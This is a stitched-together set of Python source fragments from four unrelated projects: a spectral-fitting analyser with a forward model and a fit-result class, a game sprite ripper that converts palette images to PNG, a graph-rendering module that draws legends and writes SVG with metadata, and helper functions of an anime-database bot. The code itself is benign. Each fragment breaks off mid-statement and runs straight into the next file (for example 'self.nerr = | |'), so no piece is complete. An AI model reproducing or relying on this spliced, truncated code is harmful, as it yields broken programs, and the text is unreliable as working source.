Flag whether to update the initial fit parameters upon a sucessful
fit. Can speed up fitting for large datasets but requires robust
quality checks to avoid getting stuck
resid_limit : float, optional, default=None
Sets the maximum residual value to allow the fit initial parameters
to be updated. Ignored if None.
resid_type : str, optional, default='Percentage'
Controls how the residual is calculated:
- 'Percentage': calculated as (spec - fit) / spec * 100
- 'Absolute': calculated as spec - fit
int_limit : tuple of floats, optional, default=None
Sets the minimu and maximum intensity value for the fit window to
allow the fit initial parameters to be updated. Ignored if None.
calc_od : list, optional, default=[]
List of parameters to calculate the optical depth for.
pre_process : bool, optional, default=True
Flag to control whether the supplied spectrum requires
pre-prossessing or not
prefit_shift : float, optional
Wavelength shift (in nm) applied to the spectrum wavelength
calibration prior to the fit. Default is 0.0
interp_method : str, optional, default="cubic"
Controls whether the interpolation at the end of the forward model
is cubic or linear. Must be either "cubic", "linear" or "nearest".
See scipy.interpolate.griddata for details.
fit_window : tuple, optional
Upper and lower limits of the fit window. This superceeds the main
fit_window of the Analyser but must be contained within the window
used to initialise the Analyser. Default is None.
Returns
-------
fit_result : ifit.spectral_analysis.FitResult object
An object that contains the fit results
"""
# If a new fit window is given, trim the cross-sections down
if fit_window is not None:
# Check the new window is within the old one
a = fit_window[0] < self.init_fit_window[0]
b = fit_window[1] > self.init_fit_window[1]
if a or b:
logger.error('New fit window must be within initial fit'
+ ' window!')
raise ValueError
# Pad the fit window
pad_window = [fit_window[0] - self.model_padding,
fit_window[1] + self.model_padding]
# Trim the model grid to the new fit window
mod_idx = np.where(np.logical_and(self.init_grid >= pad_window[0],
self.init_grid <= pad_window[1]))
self.model_grid = self.init_grid[mod_idx]
# Trim the FRS to the new fit window
self.frs = self.init_frs[mod_idx]
# Trim the gas cross-sections to the new fit window
for key in self.init_xsecs.keys():
self.xsecs[key] = self.init_xsecs[key][mod_idx]
# Update the fit window attribute
self.fit_window = fit_window
# Check is spectrum requires preprocessing
if pre_process:
spectrum = self.pre_process(spectrum, prefit_shift)
# Define the interpolation mode
self.interp_method = interp_method
# Unpack the spectrum
grid, spec = spectrum
# Fit the spectrum
try:
popt, pcov = curve_fit(self.fwd_model, grid, spec, self.p0)
# Calculate the parameter error
perr = np.sqrt(np.diag(pcov))
# Set the success flag
nerr = 1
# If the fit fails return nans
except RuntimeError:
popt = np.full(len(self.p0), np.nan)
perr = np.full(len(self.p0), np.nan)
nerr = 0
# Put the results into a FitResult object
fit_result = FitResult(self, spectrum, popt, perr, nerr,
self.fwd_model, self.params, resid_type,
resid_limit, int_limit, calc_od)
# If the fit was good then update the initial parameters
if update_params and fit_result.nerr == 1:
self.p0 = popt
else:
logger.info('Resetting initial guess parameters')
self.p0 = self.params.fittedvalueslist()
return fit_result
# =============================================================================
# Forward Model
# =============================================================================
def fwd_model(self, x, *p0):
"""Forward model for iFit to fit measured UV sky spectra.
Parameters
----------
x, array
Measurement wavelength grid
*p0, floats
Forward model state vector. Should consist of:
- bg_poly{n}: Background polynomial coefficients
- offset{n}: The intensity offset polynomial coefficients
- shift{n}: The wavelength shift polynomial
- gases: Any variable with an associated cross section,
including absorbing gases and Ring. Each "gas" is
converted to transmittance through:
gas_T = exp(-xsec . amt)
For polynomial parameters n represents ascending intergers
starting from 0 which correspond to the decreasing power of
that coefficient
Returns
-------
fit, array
Fitted spectrum interpolated onto the spectrometer wavelength grid
"""
# Get dictionary of fitted parameters
params = self.params
p = params.valuesdict()
# Update the fitted parameter values with those supplied to the forward
# model
i = 0
for par in params.values():
if par.vary:
p[par.name] = p0[i]
i += 1
else:
p[par.name] = par.value
# Unpack polynomial parameters
bg_poly_coefs = [p[n] for n in p if 'bg_poly' in n]
offset_coefs = [p[n] for n in p if 'offset' in n]
shift_coefs = [p[n] for n in p if 'shift' in n]
# Construct background polynomial
bg_poly = np.polyval(bg_poly_coefs, self.model_grid)
frs = np.multiply(self.frs, bg_poly)
# Create empty arrays to hold optical depth spectra
plm_gas_T = np.zeros((len(self.xsecs), len(self.model_grid)))
sky_gas_T = np.zeros((len(self.xsecs), len(self.model_grid)))
# Calculate the gas optical depth spectra
for n, gas in enumerate(self.xsecs):
if self.params[gas].plume_gas:
plm_gas_T[n] = (np.multiply(self.xsecs[gas], p[gas]))
else:
sky_gas_T[n] = (np.multiply(self.xsecs[gas], p[gas]))
# Sum the gas ODs
sum_plm_T = np.sum(np.vstack([plm_gas_T, sky_gas_T]), axis=0)
sky_plm_T = np.sum(sky_gas_T, axis=0)
# Build the exponent term
plm_exponent = np.exp(-sum_plm_T)
sky_exponent = np.exp(-sky_plm_T)
# Build the complete model
sky_F = np.multiply(frs, sky_exponent)
plm_F = np.multiply(frs, plm_exponent)
# Add effects of light dilution
if 'LDF' in p and p['LDF'] != 0:
# Calculate constant light dilution
ldf_const = - np.log(1-p['LDF'])*(310**4)
# Add wavelength dependancy to light dilution factor
rayleigh_scale = self.model_grid**-4
ldf = 1-np.exp(-ldf_const * rayleigh_scale)
else:
ldf = 0
# Construct the plume and diluting light spectra, scaling by the ldf
dilut_F = np.multiply(sky_F, ldf)
plume_F = np.multiply(plm_F, 1-ldf)
# Build the baseline offset polynomial
offset = np.polyval(offset_coefs, self.model_grid)
# Combine the undiluted light, diluted light and offset
raw_F = np.add(dilut_F, plume_F) + offset
# Generate the ILS
if self.generate_ils:
# Unpack ILS params
ils = make_ils(self.model_spacing,
p['fwem'],
p['k'],
p['a_w'],
p['a_k'])
else:
ils = self.ils
# Apply the ILS convolution
F_conv = np.convolve(raw_F, ils, 'same')
# Apply shift and stretch to the model_grid
zero_grid = self.model_grid - min(self.model_grid)
wl_shift = np.polyval(shift_coefs, zero_grid)
shift_model_grid = np.add(self.model_grid, wl_shift)
# Interpolate onto measurement wavelength grid
fit = griddata(shift_model_grid, F_conv, x, method=self.interp_method)
return fit
# =============================================================================
# =============================================================================
# # Fit Result
# =============================================================================
# =============================================================================
class FitResult():
"""Contains the fit results.
Parameters
----------
analyser : Analyser
Analyser object used to generate the results
spectrum : tuple
The fitted spectrum in the form [wavelengths, intensities]
popt : list
The optimised fit parameter values
perr : list
The calculated parameter fit errors
nerr : int
Signals success of the fit. 1 = successful, 0 = failed
fwd_model : function
The forward model used to perform the fit
params : Parameters object
The fit parameters
resid_type : str
Controls how the fit residual is calculated:
- 'Percentage': calculated as (spec - fit) / spec * 100
- 'Absolute': calculated as spec - fit
resid_limit : float
Limit on the maximum residual for a good fit
int_limit : float
Limit on the spectrum intensity for a good fit
calc_od : list of strings
The parameters to calculate the optical depth spectrum for
Attributes
----------
params : Parameters object
The Parameters object with the fitted values
grid : numpy array
The selected wavelength window
spec : numpy array
The selected intensity spectrum
popt : numpy array
The optimised fit results
perr : numpy array
The fit errors
nerr : int
The error code of the fit. 0 if the fit failed, 1 if the fit was
successful and 2 if the fit was sucessful but failed a quality check
fwd_model : function
The forward model used to complete the fit
meas_od : dict
Dictionary of the measured optical depths
synth_od : dict
Dictionary of the synthetic optical depths
int_lo, int_av, int_hi : float
The min, average and max intensity in the fit window
fit : numpy array
The final fitted spectrum
resid : numpy array
The fit residual
"""
def __init__(self, analyser, spectrum, popt, perr, nerr, fwd_model,
params, resid_type, resid_limit, int_limit, calc_od):
"""Initialize."""
# Make a copy of the parameters
self.params = params.make_copy()
# Assign the variables
self.grid, self.spec = spectrum
self.popt = popt
self.perr = perr
self.nerr = | |
# Music World Sprite Ripper
# Version 1.0
# By Buu342
import os
import sys
import math
import numpy as np
from PIL import Image as im
from pathlib import Path
########################
# Globals
########################
# Start and end offsets in the uncompressed.pxo where sprites are located
# Values obtained by estimating via 'Image Search Editor'
SPRITE_START = 0x11155C
SPRITE_END = 0x80CFFC
# Maximum sprite width and heights to prevent the tool from going whack because it mistook random data for an image header
# Values obtained by ripping lots of sprites and then estimating. The largest sprite I found had 514 pixels, so I gave a slightly larger error buffer just in case
SPRITE_MAXW = 600
SPRITE_MAXH = 600
# Image types
IMAGETYPE_1BIT = 0x89
IMAGETYPE_2BIT = 0x8A
IMAGETYPE_4BIT = 0x8B
IMAGETYPE_8BIT = 0x8C
########################
# Classes
########################
class Header():
"""
A sprite header class
"""
def __init__(self):
self.type = 0 # 1 byte
self.width = 0 # 2 bytes
self.height = 0 # 2 bytes
self.unknown1 = 0 # 1 byte
self.unknown2 = 0 # 1 byte
self.unknown3 = 0 # 1 byte
self.unknown4 = 0 # 1 byte
self.unknown5 = 0 # 1 byte
self.pcount = 0 # 1 byte
class Color():
"""
A sprite palette color class
"""
def __init__(self, red, green, blue):
self.red = red
self.green = green
self.blue = blue
def __repr__(self):
return ("Color: ["+str(self.red)+", "+str(self.green)+", "+str(self.blue)+"]\n")
class Image():
"""
A sprite data class
"""
def __init__(self):
self.header = None
self.palette = []
self.texels = []
########################
# Functions
########################
def read_header(sprite, f):
"""
Reads a sprite header and stores it into an Image class
@param The Image to store the sprite header in
@param The pointer to the sprite header file to read
"""
header = Header()
# Read the header stuff we know
header.type = f.read(1)[0]
tmp = (f.read(1)[0]) & 0xFF
header.width = (((f.read(1)[0]) & 0xFF)<<8) | tmp
tmp = (f.read(1)[0]) & 0xFF
header.height = (((f.read(1)[0]) & 0xFF)<<8) | tmp
# Read the unknown bytes
header.unknown1 = f.read(1)[0]
header.unknown2 = f.read(1)[0]
header.unknown3 = f.read(1)[0]
header.unknown4 = f.read(1)[0]
header.unknown5 = f.read(1)[0]
# Get the palette count
header.pcount = f.read(1)[0]
# Set the sprite's header as this one
sprite.header = header
# Now read the palette
count = 0
while count < header.pcount:
r = f.read(1)[0]
g = f.read(1)[0]
b = f.read(1)[0]
sprite.palette.append(Color(r, g, b))
count = count + 1
# Finish
f.close()
return
def read_image(sprite, f):
"""
Reads sprite data and stores it into an Image class
@param The Image to store the data in
@param The pointer to the sprite data file to read
"""
count = 0
size = sprite.header.width * sprite.header.height
# Loop through the image
if sprite.header.type == IMAGETYPE_1BIT:
while count < size:
byte = f.read(1)[0]
texel1 = ((byte & 0x80) >> 7) & 0xFF
texel2 = ((byte & 0x40) >> 6) & 0xFF
texel3 = ((byte & 0x20) >> 5) & 0xFF
texel4 = ((byte & 0x10) >> 4) & 0xFF
texel5 = ((byte & 0x08) >> 3) & 0xFF
texel6 = ((byte & 0x04) >> 2) & 0xFF
texel7 = ((byte & 0x02) >> 1) & 0xFF
texel8 = (byte & 0x01) & 0xFF
sprite.texels.append(texel1)
sprite.texels.append(texel2)
sprite.texels.append(texel3)
sprite.texels.append(texel4)
sprite.texels.append(texel5)
sprite.texels.append(texel6)
sprite.texels.append(texel7)
sprite.texels.append(texel8)
count = count + 8
elif sprite.header.type == IMAGETYPE_2BIT:
while count < size:
byte = f.read(1)[0]
texel1 = ((byte & 0xC0) >> 6) & 0xFF
texel2 = ((byte & 0x30) >> 4) & 0xFF
texel3 = ((byte & 0x0C) >> 2) & 0xFF
texel4 = (byte & 0x03) & 0xFF
sprite.texels.append(texel1)
sprite.texels.append(texel2)
sprite.texels.append(texel3)
sprite.texels.append(texel4)
count = count + 4
elif sprite.header.type == IMAGETYPE_4BIT:
while count < size:
byte = f.read(1)[0]
texel1 = ((byte & 0xF0) >> 4) & 0xFF
texel2 = (byte & 0x0F) & 0xFF
sprite.texels.append(texel1)
sprite.texels.append(texel2)
count = count + 2
elif sprite.header.type == IMAGETYPE_8BIT:
while count < size:
sprite.texels.append(f.read(1)[0])
count = count + 1
# Finish
f.close()
return
def export_image(sprite, name):
"""
Reads a sprite header and stores it into an Image class
@param The Image to store the sprite header in
@param The pointer to the sprite header file to read
"""
count = 0
img = im.new('RGB', (sprite.header.width, sprite.header.height))
size = sprite.header.width * sprite.header.height
data = []
# Loop through the image and add the data from the palette
while count < size:
pal = sprite.palette[sprite.texels[count]]
data.append((pal.red, pal.green, pal.blue))
count = count + 1
img.putdata(data)
# make the images transpasent
img = img.convert("RGBA")
datas = img.getdata()
newData = []
for item in datas:
if (item[0] == 32 and item[1] == 144 and item[2] == 32) or (item[0] == 34 and item[1] == 146 and item[2] == 34):
newData.append((255, 255, 255, 0))
else:
newData.append(item)
img.putdata(newData)
# Create the exported folder if it doesn't exist
if (not os.path.exists("Converted")):
os.mkdir("Converted")
# Export the image
img.save("Converted/"+name+'.png')
print("Exported '"+name+".png'")
return
def convert_sprite(fheader_path, fimage_path):
"""
Takes in a filepath for a sprie header and sprite data file and exports it as a PNG.
@param The filepath of the sprite header file
@param The filepath of the sprite data file
"""
fheader = None
fimage = None
sprite = Image()
# Open the header file
try:
fheader = open(fheader_path, "rb")
except:
print('Problem opening file \''+sys.argv[1]+'\'')
sys.exit()
# Open the image file
try:
fimage = open(fimage_path, "rb")
except:
print('Problem opening file \''+sys.argv[1]+'\'')
sys.exit()
# Read the files into our struct
read_header(sprite, fheader)
read_image(sprite, fimage)
# Export the image
export_image(sprite, Path(fimage_path).stem)
return
def rip_sprites(pxo_path):
"""
Takes in an uncompressed Music World PXO and rips out all the sprites it finds
@param The filepath of the Music World PXO
"""
count = 0
fpxo = None
# Open the uncompressed PXO file
try:
fpxo = open(pxo_path, "rb")
except:
print('Problem opening file \''+sys.argv[1]+'\'')
sys.exit()
# Ensure it's actually uncompressed
header = fpxo.read(4)
if (chr(header[0]) != 'P' or chr(header[1]) != 'X' or chr(header[2]) != 'O' or chr(header[3]) != '4'):
print("Error: This is not an uncompressed PXO")
sys.exit()
# Create a folder for us to dump the sprites to, and then jump to the start of the sprites
if (not os.path.exists("Ripped")):
os.mkdir("Ripped")
fpxo.seek(SPRITE_START)
# Now start ripping and dumping into the ripped folder
skipped = 0
while fpxo.tell() < SPRITE_END:
start = fpxo.tell()
# Get the image type
type = fpxo.read(1)[0]
# First, check if the image header is valid
if (type < IMAGETYPE_1BIT or type > IMAGETYPE_8BIT):
skipped = skipped + 1
continue
name_header = "Ripped/"+str(count).zfill(4)+"_header.bin"
name_imgdata = "Ripped/"+str(count).zfill(4)+".bin"
# Get image width and height
tmp = (fpxo.read(1)[0]) & 0xFF
width = (((fpxo.read(1)[0]) & 0xFF)<<8) | tmp
tmp = (fpxo.read(1)[0]) & 0xFF
height = (((fpxo.read(1)[0]) & 0xFF)<<8) | tmp
# If the image is too big or small, it's probably not a sprite
if (width > SPRITE_MAXW or height > SPRITE_MAXH or width == 0 or height == 0):
fpxo.seek(start+1)
print("Bad sprite size "+str(width)+" x "+str(height)+".")
continue
# Skip unknown bytes
fpxo.read(5)
# Get the palette count, and check if it's valid for the image type
pcount = fpxo.read(1)[0]
if (type != IMAGETYPE_1BIT and pcount <= 1):
skipped = skipped + 1
fpxo.seek(start+1)
print("Bad palette count "+str(pcount)+".")
continue
if (type == IMAGETYPE_1BIT):
if (pcount > 2):
skipped = skipped + 1
fpxo.seek(start+1)
print("Bad palette count for 1 bit sprite "+str(pcount)+".")
continue
elif (type == IMAGETYPE_2BIT):
if (pcount > 4):
skipped = skipped + 1
fpxo.seek(start+1)
print("Bad palette count for 2 bit sprite "+str(pcount)+".")
continue
elif (type == IMAGETYPE_4BIT):
if (pcount > 16):
skipped = skipped + 1
fpxo.seek(start+1)
print("Bad palette count for 4 bit sprite "+str(pcount)+".")
continue
if (skipped == 0):
print("Found sprite "+str(count).zfill(4)+" at "+hex(start)+". Type = "+hex(type)+", "+str(width)+"x"+str(height)+", "+str(pcount)+" colors.")
else:
print("Found sprite "+str(count).zfill(4)+" at "+hex(start)+". Type = "+hex(type)+", "+str(width)+"x"+str(height)+", "+str(pcount)+" colors. Skipped "+str(skipped)+".")
# Calculate the image size (in bytes)
if (type == IMAGETYPE_1BIT):
size = math.ceil(width*height/8)
elif (type == IMAGETYPE_2BIT):
size = math.ceil(width*height/4)
| |
= y + self.margin
def drawLegend(self, elements, unique=False):
# elements is [ (name,color,rightSide), (name,color,rightSide), ... ]
self.encodeHeader('legend')
if unique:
# remove duplicate names
namesSeen = []
newElements = []
for e in elements:
if e[0] not in namesSeen:
namesSeen.append(e[0])
newElements.append(e)
elements = newElements
# Check if there's enough room to use two columns.
rightSideLabels = False
padding = 5
longestName = sorted([e[0] for e in elements], key=len)[-1]
# Double it to check if there's enough room for 2 columns
testSizeName = longestName + " " + longestName
testExt = self.getExtents(testSizeName)
testBoxSize = testExt['maxHeight'] - 1
testWidth = testExt['width'] + 2 * (testBoxSize + padding)
if testWidth + 50 < self.width:
rightSideLabels = True
if self.secondYAxis and rightSideLabels:
extents = self.getExtents(longestName)
padding = 5
boxSize = extents['maxHeight'] - 1
lineHeight = extents['maxHeight'] + 1
labelWidth = extents['width'] + 2 * (boxSize + padding)
columns = max(1, math.floor(
(self.width - self.area['xmin']) / labelWidth))
numRight = len([name for (name, color, rightSide) in elements
if rightSide])
numberOfLines = max(len(elements) - numRight, numRight)
columns = math.floor(columns / 2.0)
columns = max(columns, 1)
legendHeight = (
max(1, (numberOfLines / columns)) * lineHeight) + padding
# scoot the drawing area up to fit the legend
self.area['ymax'] -= legendHeight
self.ctx.set_line_width(1.0)
x = self.area['xmin']
y = self.area['ymax'] + (2 * padding)
n = 0
xRight = self.area['xmax'] - self.area['xmin']
yRight = y
nRight = 0
for name, color, rightSide in elements:
self.setColor(color)
if rightSide:
nRight += 1
self.drawRectangle(xRight - padding, yRight,
boxSize, boxSize)
self.setColor('darkgrey')
self.drawRectangle(xRight - padding, yRight,
boxSize, boxSize, fill=False)
self.setColor(self.foregroundColor)
self.drawText(name, xRight - boxSize, yRight,
align='right')
xRight -= labelWidth
if nRight % columns == 0:
xRight = self.area['xmax'] - self.area['xmin']
yRight += lineHeight
else:
n += 1
self.drawRectangle(x, y, boxSize, boxSize)
self.setColor('darkgrey')
self.drawRectangle(x, y, boxSize, boxSize, fill=False)
self.setColor(self.foregroundColor)
self.drawText(name, x + boxSize + padding, y, align='left')
x += labelWidth
if n % columns == 0:
x = self.area['xmin']
y += lineHeight
else:
extents = self.getExtents(longestName)
boxSize = extents['maxHeight'] - 1
lineHeight = extents['maxHeight'] + 1
labelWidth = extents['width'] + 2 * (boxSize + padding)
columns = math.floor(self.width / labelWidth)
columns = max(columns, 1)
numberOfLines = math.ceil(float(len(elements)) / columns)
legendHeight = (numberOfLines * lineHeight) + padding
# scoot the drawing area up to fit the legend
self.area['ymax'] -= legendHeight
self.ctx.set_line_width(1.0)
x = self.area['xmin']
y = self.area['ymax'] + (2 * padding)
for i, (name, color, rightSide) in enumerate(elements):
if rightSide:
self.setColor(color)
self.drawRectangle(x + labelWidth + padding, y,
boxSize, boxSize)
self.setColor('darkgrey')
self.drawRectangle(x + labelWidth + padding, y,
boxSize, boxSize, fill=False)
self.setColor(self.foregroundColor)
self.drawText(name, x + labelWidth, y, align='right')
x += labelWidth
else:
self.setColor(color)
self.drawRectangle(x, y, boxSize, boxSize)
self.setColor('darkgrey')
self.drawRectangle(x, y, boxSize, boxSize, fill=False)
self.setColor(self.foregroundColor)
self.drawText(name, x + boxSize + padding, y, align='left')
x += labelWidth
if (i + 1) % columns == 0:
x = self.area['xmin']
y += lineHeight
def encodeHeader(self, text):
self.ctx.save()
self.setColor(self.backgroundColor)
self.ctx.move_to(-88, -88) # identifier
for i, char in enumerate(text):
self.ctx.line_to(-ord(char), -i-1)
self.ctx.stroke()
self.ctx.restore()
def loadTemplate(self, template):
opts = defaults = defaultGraphOptions
self.defaultBackground = opts.get('background', defaults['background'])
self.defaultForeground = opts.get('foreground', defaults['foreground'])
self.defaultMajorGridLineColor = opts.get('majorline',
defaults['majorline'])
self.defaultMinorGridLineColor = opts.get('minorline',
defaults['minorline'])
self.defaultColorList = [
c.strip() for c in opts.get('linecolors',
defaults['linecolors']).split(',')]
fontName = opts.get('fontname', defaults['fontname'])
fontSize = float(opts.get('fontsize', defaults['fontsize']))
fontBold = opts.get('fontbold', defaults['fontbold']).lower() == 'true'
fontItalic = opts.get('fontitalic',
defaults['fontitalic']).lower() == 'true'
self.defaultFontParams = {
'name': self.params.get('fontName', fontName),
'size': int(self.params.get('fontSize', fontSize)),
'bold': self.params.get('fontBold', fontBold),
'italic': self.params.get('fontItalic', fontItalic),
}
def output(self, fileObj):
if self.outputFormat == 'png':
self.surface.write_to_png(fileObj)
elif self.outputFormat == 'pdf':
self.surface.finish()
pdfData = self.surfaceData.getvalue()
self.surfaceData.close()
fileObj.write(pdfData)
else:
if hasattr(self, 'startTime'):
has_data = True
metaData = {
'x': {
'start': self.startTime,
'end': self.endTime
},
'options': {
'lineWidth': self.lineWidth
},
'font': self.defaultFontParams,
'area': self.area,
'series': []
}
if not self.secondYAxis:
metaData['y'] = {
'top': self.yTop,
'bottom': self.yBottom,
'step': self.yStep,
'labels': self.yLabels,
'labelValues': self.yLabelValues
}
for series in self.data:
if 'stacked' not in series.options:
metaData['series'].append({
'name': series.name,
'start': series.start,
'end': series.end,
'step': series.step,
'valuesPerPoint': series.valuesPerPoint,
'color': series.color,
'data': series,
'options': series.options
})
else:
has_data = False
metaData = {}
self.surface.finish()
svgData = self.surfaceData.getvalue()
self.surfaceData.close()
# we expect height/width in pixels, not points
svgData = svgData.decode().replace('pt"', 'px"', 2)
svgData = svgData.replace('</svg>\n', '', 1)
svgData = svgData.replace('</defs>\n<g',
'</defs>\n<g class="graphite"', 1)
if has_data:
# We encode headers using special paths with d^="M -88 -88"
# Find these, and turn them into <g> wrappers instead
def onHeaderPath(match):
name = ''
for char in re.findall(r'L -(\d+) -\d+', match.group(1)):
name += chr(int(char))
return '</g><g data-header="true" class="%s">' % name
(svgData, subsMade) = re.subn(r'<path.+?d="M -88 -88 (.+?)"/>',
onHeaderPath, svgData)
# Replace the first </g><g> with <g>, and close out the
# last </g> at the end
svgData = svgData.replace('</g><g data-header',
'<g data-header', 1)
if subsMade > 0:
svgData += "</g>"
svgData = svgData.replace(' data-header="true"', '')
fileObj.write(svgData.encode())
fileObj.write(("""<script>
<![CDATA[
metadata = %s
]]>
</script>
</svg>""" % json.dumps(metaData)).encode())
class LineGraph(Graph):
customizable = Graph.customizable + (
'title', 'vtitle', 'lineMode', 'lineWidth', 'hideLegend', 'hideAxes',
'minXStep', 'hideGrid', 'majorGridLineColor', 'minorGridLineColor',
'thickness', 'min', 'max', 'graphOnly', 'yMin', 'yMax', 'yLimit',
'yStep', 'areaMode', 'areaAlpha', 'drawNullAsZero', 'tz', 'yAxisSide',
'pieMode', 'yUnitSystem', 'logBase', 'yMinLeft', 'yMinRight',
'yMaxLeft', 'yMaxRight', 'yLimitLeft', 'yLimitRight', 'yStepLeft',
'yStepRight', 'rightWidth', 'rightColor', 'rightDashed', 'leftWidth',
'leftColor', 'leftDashed', 'xFormat', 'minorY', 'hideYAxis',
'hideXAxis', 'uniqueLegend', 'vtitleRight', 'yDivisors',
'connectedLimit', 'hideNullFromLegend')
validLineModes = ('staircase', 'slope', 'connected')
validAreaModes = ('none', 'first', 'all', 'stacked')
validPieModes = ('maximum', 'minimum', 'average')
def drawGraph(self, **params):
# Make sure we've got datapoints to draw
if self.data:
startTime = min([series.start for series in self.data])
endTime = max([series.end for series in self.data])
timeRange = endTime - startTime
else:
timeRange = None
if not timeRange:
x = self.width / 2
y = self.height / 2
self.setColor('red')
self.setFont(size=math.log(self.width * self.height))
self.drawText("No Data", x, y, align='center')
return
# Determine if we're doing a 2 y-axis graph.
for series in self.data:
if 'secondYAxis' in series.options:
self.dataRight.append(series)
else:
self.dataLeft.append(series)
if len(self.dataRight) > 0:
self.secondYAxis = True
# API compatibilty hacks
if params.get('graphOnly', False):
params['hideLegend'] = True
params['hideGrid'] = True
params['hideAxes'] = True
params['hideXAxis'] = False
params['hideYAxis'] = False
params['yAxisSide'] = 'left'
params['title'] = ''
params['vtitle'] = ''
params['margin'] = 0
params['tz'] = ''
self.margin = 0
self.area['xmin'] = 0
self.area['xmax'] = self.width
self.area['ymin'] = 0
self.area['ymax'] = self.height
if 'yMin' not in params and 'min' in params:
params['yMin'] = params['min']
if 'yMax' not in params and 'max' in params:
params['yMax'] = params['max']
if 'lineWidth' not in params and 'thickness' in params:
params['lineWidth'] = params['thickness']
if 'yAxisSide' not in params:
params['yAxisSide'] = 'left'
if 'yUnitSystem' not in params:
params['yUnitSystem'] = 'si'
else:
params['yUnitSystem'] = force_text(params['yUnitSystem']).lower()
if params['yUnitSystem'] not in UnitSystems:
params['yUnitSystem'] = 'si'
self.params = params
# Don't do any of the special right y-axis stuff if we're drawing 2
# y-axes.
if self.secondYAxis:
params['yAxisSide'] = 'left'
# When Y Axis is labeled on the right, we subtract x-axis positions
# from the max, instead of adding to the minimum
if self.params.get('yAxisSide') == 'right':
self.margin = self.width
# Now to setup our LineGraph specific options
self.lineWidth = float(params.get('lineWidth', 1.2))
self.lineMode = params.get('lineMode', 'slope').lower()
self.connectedLimit = params.get("connectedLimit", INFINITY)
assert self.lineMode in self.validLineModes, "Invalid line mode!"
self.areaMode = params.get('areaMode', 'none').lower()
assert self.areaMode in self.validAreaModes, "Invalid area mode!"
self.pieMode = params.get('pieMode', 'maximum').lower()
assert self.pieMode in self.validPieModes, "Invalid pie mode!"
# Line mode slope does not work (or even make sense) for series that
# have only one datapoint. So if any series have one datapoint we
# force staircase mode.
if self.lineMode == 'slope':
for series in self.data:
if len(series) == 1:
self.lineMode = 'staircase'
break
if self.secondYAxis:
for series in self.data:
if 'secondYAxis' in series.options:
if 'rightWidth' in params:
series.options['lineWidth'] = params['rightWidth']
if 'rightDashed' in params:
series.options['dashed'] = params['rightDashed']
if 'rightColor' in params:
series.color = params['rightColor']
else:
if 'leftWidth' in params:
series.options['lineWidth'] = params['leftWidth']
if 'leftDashed' in params:
series.options['dashed'] = params['leftDashed']
if 'leftColor' in params:
series.color = params['leftColor']
for series in self.data:
if not hasattr(series, 'color'):
series.color = next(self.colors)
titleSize = self.defaultFontParams['size'] + math.floor(
math.log(self.defaultFontParams['size']))
self.setFont(size=titleSize)
self.setColor(self.foregroundColor)
if params.get('title'):
self.drawTitle(force_text(params['title']))
if params.get('vtitle'):
self.drawVTitle(force_text(params['vtitle']))
if self.secondYAxis and params.get('vtitleRight'):
self.drawVTitle(force_text(params['vtitleRight']), rightAlign=True)
self.setFont()
if not | |
result = await return_json_senpai(LS_INFO_QUERY, vars_, auth=auth, user=user)
data = result["data"]["Character"]["media"]["nodes"]
if req == "ANI":
out = "ANIMES:\n\n"
out_ = []
for ani in data:
k = ani["title"]["english"] or ani["title"]["romaji"]
kk = ani["type"]
if kk == "ANIME":
out_.append(f"• __{k}__\n")
else:
out = "MANGAS:\n\n"
out_ = []
for ani in data:
k = ani["title"]["english"] or ani["title"]["romaji"]
kk = ani["type"]
if kk == "MANGA":
out_.append(f"• __{k}__\n")
total = len(out_)
for _ in range(15*page):
out_.pop(0)
out_ = "".join(out_[:15])
return ([out+out_, total] if len(out_) != 0 else False), result["data"]["Character"]["image"]["large"]
async def get_additional_info(idm, req, ctgry, auth: bool = False, user: int = None, page: int = 0):
vars_ = {"id": int(idm)}
if req=='char':
vars_['page'] = page
result = await return_json_senpai(
(
(
DES_INFO_QUERY
if req == "desc"
else CHA_INFO_QUERY
if req == "char"
else REL_INFO_QUERY
)
if ctgry == "ANI"
else DESC_INFO_QUERY
),
vars_,
)
data = result["data"]["Media"] if ctgry == "ANI" else result["data"]["Character"]
pic = f"https://img.anili.st/media/{idm}"
if req == "desc":
synopsis = data.get("description")
return (pic if ctgry == "ANI" else data["image"]["large"]), synopsis
elif req == "char":
charlist = []
for char in data["characters"]['edges']:
charlist.append(f"`• {char['node']['name']['full']} `({char['role']})")
chrctrs = ("\n").join(charlist)
charls = f"`{chrctrs}`" if len(charlist) != 0 else ""
return pic, charls, data["characters"]['pageInfo']
else:
prqlsql = data.get("relations").get("edges")
ps = ""
for i in prqlsql:
ps += f'• {i["node"]["title"]["romaji"]} `{i["relationType"]}`\n'
return pic, ps
async def get_anime(vars_, auth: bool = False, user: int = None):
result = await return_json_senpai(ANIME_QUERY, vars_, auth=auth, user=user)
error = result.get("errors")
if error:
error_sts = error[0].get("message")
return [f"[{error_sts}]"]
data = result["data"]["Media"]
# Data of all fields in returned json
# pylint: disable=possibly-unused-variable
idm = data.get("id")
idmal = data.get("idMal")
romaji = data["title"]["romaji"]
english = data["title"]["english"]
native = data["title"]["native"]
formats = data.get("format")
status = data.get("status")
episodes = data.get("episodes")
duration = data.get("duration")
country = data.get("countryOfOrigin")
c_flag = cflag(country)
source = data.get("source")
prqlsql = data.get("relations").get("edges")
adult = data.get("isAdult")
url = data.get("siteUrl")
trailer_link = "N/A"
gnrs = ", ".join(data['genres'])
bot = BOT_NAME.replace("@", "")
gnrs_ = ""
if len(gnrs)!=0:
gnrs_ = f"\n➤ **GENRES:** `{gnrs}`"
isfav = data.get("isFavourite")
fav = ", in Favourites" if isfav is True else ""
user_data = ""
in_ls = False
in_ls_id = ""
if auth is True:
in_list = data.get("mediaListEntry")
if in_list is not None:
in_ls = True
in_ls_id = in_list['id']
in_ls_stts = in_list['status']
in_ls_score = f" and scored {in_list['score']}" if in_list['score']!=0 else ""
user_data = f"\n➤ **USER DATA:** `{in_ls_stts}{fav}{in_ls_score}`"
if data["title"]["english"] is not None:
name = f"""[{c_flag}]**{romaji}**
__{english}__
{native}"""
else:
name = f"""[{c_flag}]**{romaji}**
{native}"""
prql, prql_id, sql, sql_id = "", "None", "", "None"
for i in prqlsql:
if i["relationType"] == "PREQUEL":
pname = (
i["node"]["title"]["english"]
if i["node"]["title"]["english"] is not None
else i["node"]["title"]["romaji"]
)
prql += f"**PREQUEL:** `{pname}`\n"
prql_id = i["node"]["id"]
break
for i in prqlsql:
if i["relationType"] == "SEQUEL":
sname = (
i["node"]["title"]["english"]
if i["node"]["title"]["english"] is not None
else i["node"]["title"]["romaji"]
)
sql += f"**SEQUEL:** `{sname}`\n"
sql_id = i["node"]["id"]
break
additional = f"{prql}{sql}"
